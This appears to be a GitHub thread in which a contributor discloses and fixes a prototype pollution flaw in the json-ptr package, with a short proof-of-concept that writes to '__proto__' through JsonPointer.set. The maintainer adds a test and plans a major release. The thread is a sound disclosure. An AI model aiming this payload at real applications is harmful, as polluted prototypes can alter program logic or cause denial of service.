Prototype pollution (Fixed)

[luci-m-666]

Hi,
This package is vulnerable to prototype pollution.
POC

var {JsonPointer } = require("json-ptr")
var obj = {}
console.log("Before : " + obj.polluted);
JsonPointer.set(obj,'/__proto__/polluted','Yes! Its Polluted', true);
var obj1 ={}
console.log("After : " + obj1.polluted);

Fixed prototype pollution in util.ts.
Thanks

[flitbit]

Thanks for the PR. I added a test; since pollution is now disallowed, I test that the error is thrown.

[flitbit]

Will be v2.0.0 shortly; seems it is potentially a breaking change if someone was using such pointers.

[luci-m-666]

Glad to be of help.

[alromh87]

Hello @luci-m-666 , I'm a little curious as it how you found prototype pollution in the library and how you came up with this exact lines:

https://github.com/418sec/json-ptr/pull/1/files#diff-3294a832ea2276e554177e0b3007cc2d401c082912c7fbde49fa09141bf1aed1R175-R177